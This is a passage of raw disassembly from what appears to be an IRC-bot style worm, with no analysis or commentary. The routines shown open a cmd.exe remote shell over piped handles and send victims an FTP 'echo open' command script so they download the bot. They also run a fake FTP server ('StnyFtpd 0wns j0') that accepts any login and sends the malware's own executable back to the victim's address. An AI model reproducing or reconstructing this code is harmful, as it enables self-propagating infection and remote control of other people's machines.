add esp, 0Ch
mov [ebp+var_44], eax
mov eax, dword_4E5E58
mov [ebp+var_40], eax
push edi
push 1
lea eax, [ebp+var_3C]
push 2
push eax
mov [ebp+var_7C], 44h
mov [ebp+var_50], 101h
mov [ebp+var_4C], di
call ds:dword_4F53CC ; GetCurrentProcess
push eax
push dword_4E5E58
call ds:dword_4F53CC ; GetCurrentProcess
push eax
call ds:dword_4F53C8 ; DuplicateHandle
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_7C]
push eax
push edi
push edi
push 4000090h
lea eax, [ebp+var_C]
push 1
push eax
lea eax, [ebp+var_C]
push eax
push offset aCmd_exe ; "cmd.exe"
push edi
call ds:dword_4F5340 ; CreateProcessA
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40EF29
lea eax, [ebp+var_C]
push edi
push eax
call ds:dword_4F5350 ; CreateThread
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40EEE6
lea eax, [ebp+var_C]
push edi
push eax
call ds:dword_4F5350 ; CreateThread
push 0FFFFFFFFh
mov [ebp+var_10], eax
push [ebp+var_28]
call ds:dword_4F5374 ; WaitForSingleObject
push edi
push [ebp+var_10]
call ds:dword_4F5380 ; TerminateThread
push edi
push [ebp+var_14]
call ds:dword_4F5380 ; TerminateThread
push [ebp+var_10]
call esi ; CloseHandle
push [ebp+var_14]
call esi ; CloseHandle
push edi
push [ebp+var_28]
call ds:dword_4F53C4 ; TerminateProcess
push dword_4E5E5C
call esi ; CloseHandle
push dword_4E5E60
call esi ; CloseHandle
push dword_4E5E54
call esi ; CloseHandle
push dword_4E5E58
call esi ; CloseHandle
push [ebp+var_24]
call esi ; CloseHandle
push [ebp+var_28]
call esi ; CloseHandle
jmp loc_40EFF4
sub_40EF74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40F144 proc near ; DATA XREF: .data:0043F010o
jmp $+5
sub_40F144 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40F149 proc near
push 0FFFEh
push 400h
call sub_419551
pop ecx
mov dword_4E5E6C, eax
pop ecx
retn
sub_40F149 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F160 proc near ; DATA XREF: sub_40C12D+34Do
Dest = byte ptr -6C0h
var_2C0 = dword ptr -2C0h
var_C0 = byte ptr -0C0h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A4 = dword ptr -0A4h
Str = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 6C0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 27h
mov esi, eax
pop ecx
lea edi, [ebp+var_B0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [eax+98h], esi
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_A4]
call dword_4E30F8 ; htons
push ebx
push esi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], ebx
call dword_4E3178 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jnz short loc_40F207
cmp [ebp+var_1C], ebx
jnz short loc_40F1E7
push ebx ; int
lea eax, [ebp+var_2C0]
push [ebp+var_20] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_B0] ; int
call sub_409D34
add esp, 14h
loc_40F1E7: ; CODE XREF: sub_40F160+65j
lea eax, [ebp+var_2C0]
push eax
call sub_415C3F
push [ebp+var_AC]
call sub_40BA72
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_40F207: ; CODE XREF: sub_40F160+60j
mov eax, [ebp+var_AC]
push 10h
imul eax, 234h
mov dword_456024[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call dword_4E3124 ; bind
cmp eax, esi
mov ebx, 400h
jnz loc_40F302
call dword_4E308C ; WSAGetLastError
cmp eax, 2740h
jz short loc_40F287
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40F267
push esi ; int
lea eax, [ebp+var_2C0]
push [ebp+var_20] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_B0] ; int
call sub_409D34
add esp, 14h
loc_40F267: ; CODE XREF: sub_40F160+E5j
lea eax, [ebp+var_2C0]
push eax
call sub_415C3F
push [ebp+var_AC]
call sub_40BA72
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_40F287: ; CODE XREF: sub_40F160+DEj
push 0FFFEh
push ebx
call sub_419551
pop ecx
mov dword_4E5E6C, eax
pop ecx
mov [ebp+var_12], ax
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call dword_4E3124 ; bind
cmp eax, esi
jnz short loc_40F302
call dword_4E308C ; WSAGetLastError
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40F2E2
cmp eax, 2740h
jz short loc_40F2E2
push esi ; int
lea eax, [ebp+var_2C0]
push [ebp+var_20] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_B0] ; int
call sub_409D34
add esp, 14h
loc_40F2E2: ; CODE XREF: sub_40F160+159j
; sub_40F160+160j
lea eax, [ebp+var_2C0]
push eax
call sub_415C3F
push [ebp+var_AC]
call sub_40BA72
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_40F302: ; CODE XREF: sub_40F160+CDj
; sub_40F160+14Cj
push 5
push edi
call dword_4E3120 ; listen
cmp eax, esi
jz loc_40F3E7
mov [ebp+var_4], 10h
mov esi, offset Str ; "nlzhxmpyrjsyle.exe"
loc_40F31F: ; CODE XREF: sub_40F160+1D7j
; sub_40F160+227j ...
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_C0]
push eax
push edi
call dword_4E318C ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_40F31F
cmp [ebp+var_1C], 0
jnz short loc_40F360
push 0 ; int
lea eax, [ebp+var_2C0]
push [ebp+var_20] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_B0] ; int
call sub_409D34
add esp, 14h
loc_40F360: ; CODE XREF: sub_40F160+1DDj
lea eax, [ebp+var_2C0]
push eax
call sub_415C3F
pop ecx
lea eax, [ebp+var_2C0]
push 0
push 200h
push eax
push [ebp+arg_0]
call dword_4E3110 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_40F31F
push esi
push esi
push dword_4E2E18
push [ebp+var_B0]
call sub_40AF71
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
lea eax, [ebp+Dest]
push ebx ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_4E3148 ; send
cmp eax, 0FFFFFFFFh
jz loc_40F31F
inc dword_4E5E74
jmp loc_40F31F
; ---------------------------------------------------------------------------
loc_40F3E7: ; CODE XREF: sub_40F160+1ADj
push edi
call dword_4E3190 ; closesocket
push [ebp+var_AC]
call sub_40BA72
pop ecx
push 0
call ds:dword_4F53A0 ; ExitThread
sub_40F160 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F402 proc near ; DATA XREF: sub_40C12D+22Ao
var_A70 = byte ptr -0A70h
var_8E0 = dword ptr -8E0h
var_6E0 = dword ptr -6E0h
var_4C8 = byte ptr -4C8h
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = dword ptr -43Ch
var_338 = byte ptr -338h
var_2D4 = byte ptr -2D4h
Dst = byte ptr -2A0h
var_23C = byte ptr -23Ch
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
Str = byte ptr -128h
Dest = byte ptr -0FCh
var_C8 = byte ptr -0C8h
Str1 = byte ptr -0B0h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_3C = byte ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A70h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6E0]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A70]
xor esi, esi
push eax
push 101h
mov [ebp+var_1C], ebx
mov [ebp+var_2C], ebx
mov [ebp+var_24], ebx
mov [ebp+var_22C], esi
mov [ebp+var_43C], esi
call ds:dword_4F550C ; WSAStartup
push esi
push ebx
push 2
call ds:dword_4F553C ; socket
mov esi, ds:dword_4F5510
lea ecx, [ebp+var_1C]
push 4
push ecx
mov edi, 0FFFFh
push 4
push edi
push eax
mov [ebp+var_8], eax
call esi ; setsockopt
lea eax, [ebp+var_2C]
push 4
push eax
push 0FFFFFFFBh
push edi
mov edi, [ebp+var_8]
push edi
call esi ; setsockopt
lea eax, [ebp+var_24]
push eax
push 8004667Eh
push edi
call ds:dword_4F5514 ; ioctlsocket
mov ax, word ptr dword_4E2E18
and [ebp+var_48], 0
push eax
mov [ebp+var_4C], 2
call dword_4E30F8 ; htons
mov [ebp+var_4A], ax
lea eax, [ebp+var_4C]
push 10h
push eax
push edi
call ds:dword_4F5518 ; bind
test eax, eax
jge short loc_40F4C8
mov eax, ebx
jmp loc_40FA32
; ---------------------------------------------------------------------------
loc_40F4C8: ; CODE XREF: sub_40F402+BDj
push 0Ah
push edi
call ds:dword_4F551C ; listen
mov [ebp+var_22C], ebx
mov ebx, ds:dword_4F5540
mov [ebp+var_228], edi
mov [ebp+var_4], edi
loc_40F4E6: ; CODE XREF: sub_40F402+11Dj
; sub_40F402+628j
push 41h
lea esi, [ebp+var_22C]
pop ecx
lea edi, [ebp+var_43C]
rep movsd
xor esi, esi
lea eax, [ebp+var_43C]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call ds:dword_4F5544 ; select
cmp eax, 0FFFFFFFFh
jz loc_40FA2F
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_40F4E6
loc_40F521: ; CODE XREF: sub_40F402+622j
xor esi, esi
push 64h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 64h ; Size
lea eax, [ebp+Str1]
push esi ; Val
push eax ; Dst
call _memset
add esp, 18h
lea eax, [ebp+var_43C]
push eax
push edi
call sub_43ABA2 ; __WSAFDIsSet
test eax, eax
jz loc_40FA1D
cmp edi, [ebp+var_8]
jnz short loc_40F5D8
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_23C]
push eax
push [ebp+var_8]
call ds:dword_4F5520 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40FA1D
xor ecx, ecx
cmp [ebp+var_22C], esi
jbe short loc_40F5A2
lea edx, [ebp+var_228]
loc_40F592: ; CODE XREF: sub_40F402+19Ej
cmp [edx], eax
jz short loc_40F5A2
inc ecx
add edx, 4
cmp ecx, [ebp+var_22C]
jb short loc_40F592
loc_40F5A2: ; CODE XREF: sub_40F402+188j
; sub_40F402+192j
cmp ecx, [ebp+var_22C]
jnz short loc_40F5C0
cmp [ebp+var_22C], 40h
jnb short loc_40F5C0
mov [ebp+ecx*4+var_228], eax
inc [ebp+var_22C]
loc_40F5C0: ; CODE XREF: sub_40F402+1A6j
; sub_40F402+1AFj
cmp eax, [ebp+var_4]
jle short loc_40F5C8
mov [ebp+var_4], eax
loc_40F5C8: ; CODE XREF: sub_40F402+1C1j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_40FA1D
; ---------------------------------------------------------------------------
loc_40F5D8: ; CODE XREF: sub_40F402+15Aj
push esi
lea eax, [ebp+Dst]
push 64h
push eax
push edi
call ds:dword_4F5534 ; recv
test eax, eax
jg short loc_40F63F
mov edx, [ebp+var_22C]
xor ecx, ecx
cmp edx, esi
jbe short loc_40F633
lea eax, [ebp+var_228]
loc_40F5FF: ; CODE XREF: sub_40F402+207j
cmp [eax], edi
jz short loc_40F60D
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_40F5FF
jmp short loc_40F633
; ---------------------------------------------------------------------------
loc_40F60D: ; CODE XREF: sub_40F402+1FFj
dec edx
cmp ecx, edx
jnb short loc_40F62D
lea eax, [ebp+ecx*4+var_228]
loc_40F619: ; CODE XREF: sub_40F402+229j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_22C]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_40F619
loc_40F62D: ; CODE XREF: sub_40F402+20Ej
dec [ebp+var_22C]
loc_40F633: ; CODE XREF: sub_40F402+1F5j
; sub_40F402+209j
push edi
call ds:dword_4F5538 ; closesocket
jmp loc_40FA1D
; ---------------------------------------------------------------------------
loc_40F63F: ; CODE XREF: sub_40F402+1E9j
lea eax, [ebp+var_338]
push eax
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+Dst]
push offset aSS_3 ; "%s %s"
push eax ; Src
call _sscanf
lea eax, [ebp+Str1]
push offset aUser_1 ; "USER"
push eax ; Str1
call _strcmp
add esp, 18h
test eax, eax
jnz short loc_40F683
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40FA08
; ---------------------------------------------------------------------------
loc_40F683: ; CODE XREF: sub_40F402+272j
lea eax, [ebp+Str1]
push offset aPass ; "PASS"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6A7
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_40FA08
; ---------------------------------------------------------------------------
loc_40F6A7: ; CODE XREF: sub_40F402+296j
lea eax, [ebp+Str1]
push offset aSyst ; "SYST"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6CB
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp loc_40FA08
; ---------------------------------------------------------------------------
loc_40F6CB: ; CODE XREF: sub_40F402+2BAj
lea eax, [ebp+Str1]
push offset aRest ; "REST"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6EF
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_40FA08
; ---------------------------------------------------------------------------
loc_40F6EF: ; CODE XREF: sub_40F402+2DEj
lea eax, [ebp+Str1]
push offset off_44A5C0 ; Str2
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F713
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_40FA08
; ---------------------------------------------------------------------------
loc_40F713: ; CODE XREF: sub_40F402+302j
lea eax, [ebp+Str1]
push offset aType ; "TYPE"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F74E
lea eax, [ebp+var_338]
push offset aA_0 ; "A"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F74E
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40FA08
; ---------------------------------------------------------------------------
loc_40F74E: ; CODE XREF: sub_40F402+326j
; sub_40F402+33Dj
lea eax, [ebp+Str1]
push offset aType_0 ; "TYPE"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F789
lea eax, [ebp+var_338]
push offset aI ; "I"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F789
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40FA08
; ---------------------------------------------------------------------------
loc_40F789: ; CODE XREF: sub_40F402+361j
; sub_40F402+378j
lea eax, [ebp+Str1]
push offset aPasv ; "PASV"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F7D7
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+Str]
rep movsd
push eax
lea eax, [ebp+Str]
push eax ; Str
movsw
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
loc_40F7C7: ; CODE XREF: sub_40F402+414j
push eax
push [ebp+arg_0]
call ebx ; send
xor esi, esi
loc_40F7CF: ; CODE XREF: sub_40F402+4E7j
mov edi, [ebp+arg_0]
jmp loc_40FA0B
; ---------------------------------------------------------------------------
loc_40F7D7: ; CODE XREF: sub_40F402+39Cj
lea eax, [ebp+Str1]
push offset aList_0 ; "LIST"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F818
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C8]
rep movsd
movsw
push eax
lea eax, [ebp+var_C8]
push eax ; Str
movsb
call _strlen
pop ecx
push eax
lea eax, [ebp+var_C8]
jmp short loc_40F7C7
; ---------------------------------------------------------------------------
loc_40F818: ; CODE XREF: sub_40F402+3EAj
lea eax, [ebp+Str1]
push offset aPort ; "PORT"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40F8EE
lea eax, [ebp+var_2D4]
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+Dst]
push offset aS_24 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax ; Src
call _sscanf
lea eax, [ebp+Dest]
push eax ; Str
call _atoi
mov edi, eax
lea eax, [ebp+var_2D4]
push eax ; Str
call _atoi
mov [ebp+var_C], eax
push 32h ; Size
lea eax, [ebp+Dest]
push esi ; Val
push eax ; Dst
call _memset
add esp, 34h
lea eax, [ebp+Dest]
push [ebp+var_C]
push edi
push offset aXX ; "%x%x\n"
push eax ; Dest
call _sprintf
push 10h ; Radix
lea eax, [ebp+Dest]
push esi ; EndPtr
push eax ; Str
call _strtoul
add esp, 1Ch
mov [ebp+var_C], eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_3C]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax ; Dest
call _sprintf
add esp, 18h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
push [ebp+arg_0]
call ebx ; send
jmp loc_40F7CF
; ---------------------------------------------------------------------------
loc_40F8EE: ; CODE XREF: sub_40F402+42Bj
lea eax, [ebp+Str1]
push offset aRetr ; "RETR"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40F9E9
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_C]
lea eax, [ebp+var_3C]
push eax
call sub_40FA39
pop ecx
cmp eax, 1
pop ecx
jnz loc_40F9DF
lea eax, [ebp+var_3C]
push eax
lea eax, [ebp+var_8E0]
push offset aFtpTransferSta ; "ftp transfer started to: %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40F96E
push esi ; int
lea eax, [ebp+var_8E0]
push [ebp+var_448] ; int
push eax ; int
lea eax, [ebp+var_4C8]
push eax ; Str
push [ebp+var_6E0] ; int
call sub_409D34
add esp, 14h
loc_40F96E: ; CODE XREF: sub_40F402+547j
call sub_40FAB6
cmp eax, 1
jnz loc_40FA0B
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_3C]
push eax
lea eax, [ebp+var_8E0]
push offset aFtpTransferCom ; "ftp transfer complete to: %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40F9CA
push esi ; int
lea eax, [ebp+var_8E0]
push [ebp+var_448] ; int
push eax ; int
lea eax, [ebp+var_4C8]
push eax ; Str
push [ebp+var_6E0] ; int
call sub_409D34
add esp, 14h
loc_40F9CA: ; CODE XREF: sub_40F402+5A3j
lea eax, [ebp+var_8E0]
push eax
call sub_415C3F
inc dword_4E5C18
pop ecx
jmp short loc_40FA0B
; ---------------------------------------------------------------------------
loc_40F9DF: ; CODE XREF: sub_40F402+523j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40FA08
; ---------------------------------------------------------------------------
loc_40F9E9: ; CODE XREF: sub_40F402+501j
lea eax, [ebp+Str1]
push offset aQuit_1 ; "QUIT"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40FA0B
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40FA08: ; CODE XREF: sub_40F402+27Cj
; sub_40F402+2A0j ...
push edi
call ebx ; send
loc_40FA0B: ; CODE XREF: sub_40F402+3D0j
; sub_40F402+574j ...
push 64h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
loc_40FA1D: ; CODE XREF: sub_40F402+151j
; sub_40F402+17Aj ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_40F521
jmp loc_40F4E6
; ---------------------------------------------------------------------------
loc_40FA2F: ; CODE XREF: sub_40F402+10Fj
push 1
pop eax
loc_40FA32: ; CODE XREF: sub_40F402+C1j
pop edi
pop esi
pop ebx
leave
retn 4
sub_40F402 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FA39 proc near ; CODE XREF: sub_40F402+519p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call ds:dword_4F550C ; WSAStartup
push 0
push 1
push 2
call ds:dword_4F553C ; socket
push [ebp+arg_0]
mov dword_4E5E78, eax
mov [ebp+var_10], 2
call ds:dword_4F5528 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call ds:dword_4F552C ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_4E5E78
call ds:dword_4F5530 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40FAB1
push dword_4E5E78
call ds:dword_4F5538 ; closesocket
call ds:dword_4F5508 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40FAB1: ; CODE XREF: sub_40FA39+60j
push 1
pop eax
leave
retn
sub_40FA39 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FAB6 proc near ; CODE XREF: sub_40F402:loc_40F96Ep
DstBuf = byte ptr -504h
Filename = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+Filename]
push 104h
push eax
push 0
call ds:dword_4F5344 ; GetModuleFileNameA
lea eax, [ebp+Filename]
push offset aRb ; "rb"
push eax ; Filename
call _fopen
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40FB4D
test byte ptr [esi+0Ch], 10h
jnz short loc_40FB31
push edi
mov edi, 400h
loc_40FAF9: ; CODE XREF: sub_40FAB6+78j
push esi ; File
push 1 ; Count
lea eax, [ebp+DstBuf]
push edi ; ElementSize
push eax ; DstBuf
call sub_41E3E0
add esp, 10h
lea eax, [ebp+DstBuf]
push 0
push edi
push eax
push dword_4E5E78
call ds:dword_4F5540 ; send
push 1
call ds:dword_4F534C ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_40FAF9
pop edi
loc_40FB31: ; CODE XREF: sub_40FAB6+3Bj
push esi ; File
call _fclose
pop ecx
push dword_4E5E78
call ds:dword_4F5538 ; closesocket
call ds:dword_4F5508 ; WSACleanup
push 1
pop eax
loc_40FB4D: ; CODE XREF: sub_40FAB6+35j
pop esi
leave
retn
sub_40FAB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FB50 proc near ; DATA XREF: sub_401CC7+2274o
; sub_40C12D+475o
Str = byte ptr -28F0h
Str1 = byte ptr -18F0h
Dest = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
Dst = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_14], esi
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_25C]
call dword_4E30F8 ; htons
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4E3178 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40FF41
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_456024[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call dword_4E3124 ; bind
cmp eax, 0FFFFFFFFh
jz loc_40FF41
push 7FFFFFFFh
push edi
call dword_4E3120 ; listen
cmp eax, 0FFFFFFFFh
jz loc_40FF41
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4E3194 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_40FF41
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40FC27: ; CODE XREF: sub_40FB50+3E7j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4E30E0 ; select
cmp eax, 0FFFFFFFFh
jz loc_40FF3C
xor esi, esi
mov [ebp+var_4], esi
loc_40FC5D: ; CODE XREF: sub_40FB50+3E1j
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4E2FE4 ; __WSAFDIsSet
test eax, eax
jz loc_40FF27
cmp esi, [ebp+var_C]
jnz short loc_40FCDF
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4E318C ; accept
cmp eax, 0FFFFFFFFh
jz loc_40FF27
xor ecx, ecx
test ebx, ebx
jbe short loc_40FCB1
lea edx, [ebp+var_134]
loc_40FCA5: ; CODE XREF: sub_40FB50+15Fj
cmp [edx], eax
jz short loc_40FCB1
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40FCA5
loc_40FCB1: ; CODE XREF: sub_40FB50+14Dj
; sub_40FB50+157j
cmp ecx, ebx
jnz short loc_40FCCE
cmp ebx, 40h
jnb short loc_40FCCE
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40FCCE: ; CODE XREF: sub_40FB50+163j
; sub_40FB50+168j
cmp eax, [ebp+var_8]
jbe loc_40FF27
mov [ebp+var_8], eax
jmp loc_40FF27
; ---------------------------------------------------------------------------
loc_40FCDF: ; CODE XREF: sub_40FB50+126j
mov edi, 1000h
lea eax, [ebp+Str]
push edi ; Size
push 0 ; Val
push eax ; Dst
call _memset
push edi ; Size
lea eax, [ebp+Str1]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 18h
lea eax, [ebp+Str]
push 0
push edi
push eax
push esi
call dword_4E3110 ; recv
test eax, eax
jg short loc_40FD72
push esi
call dword_4E3190 ; closesocket
xor ecx, ecx
test ebx, ebx
jbe loc_40FF27
lea eax, [ebp+var_134]
loc_40FD31: ; CODE XREF: sub_40FB50+1EBj
cmp [eax], esi
jz short loc_40FD42
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FD31
jmp loc_40FF27
; ---------------------------------------------------------------------------
loc_40FD42: ; CODE XREF: sub_40FB50+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FD66
lea eax, [ebp+ecx*4+var_134]
loc_40FD50: ; CODE XREF: sub_40FB50+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FD50
loc_40FD66: ; CODE XREF: sub_40FB50+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40FF27
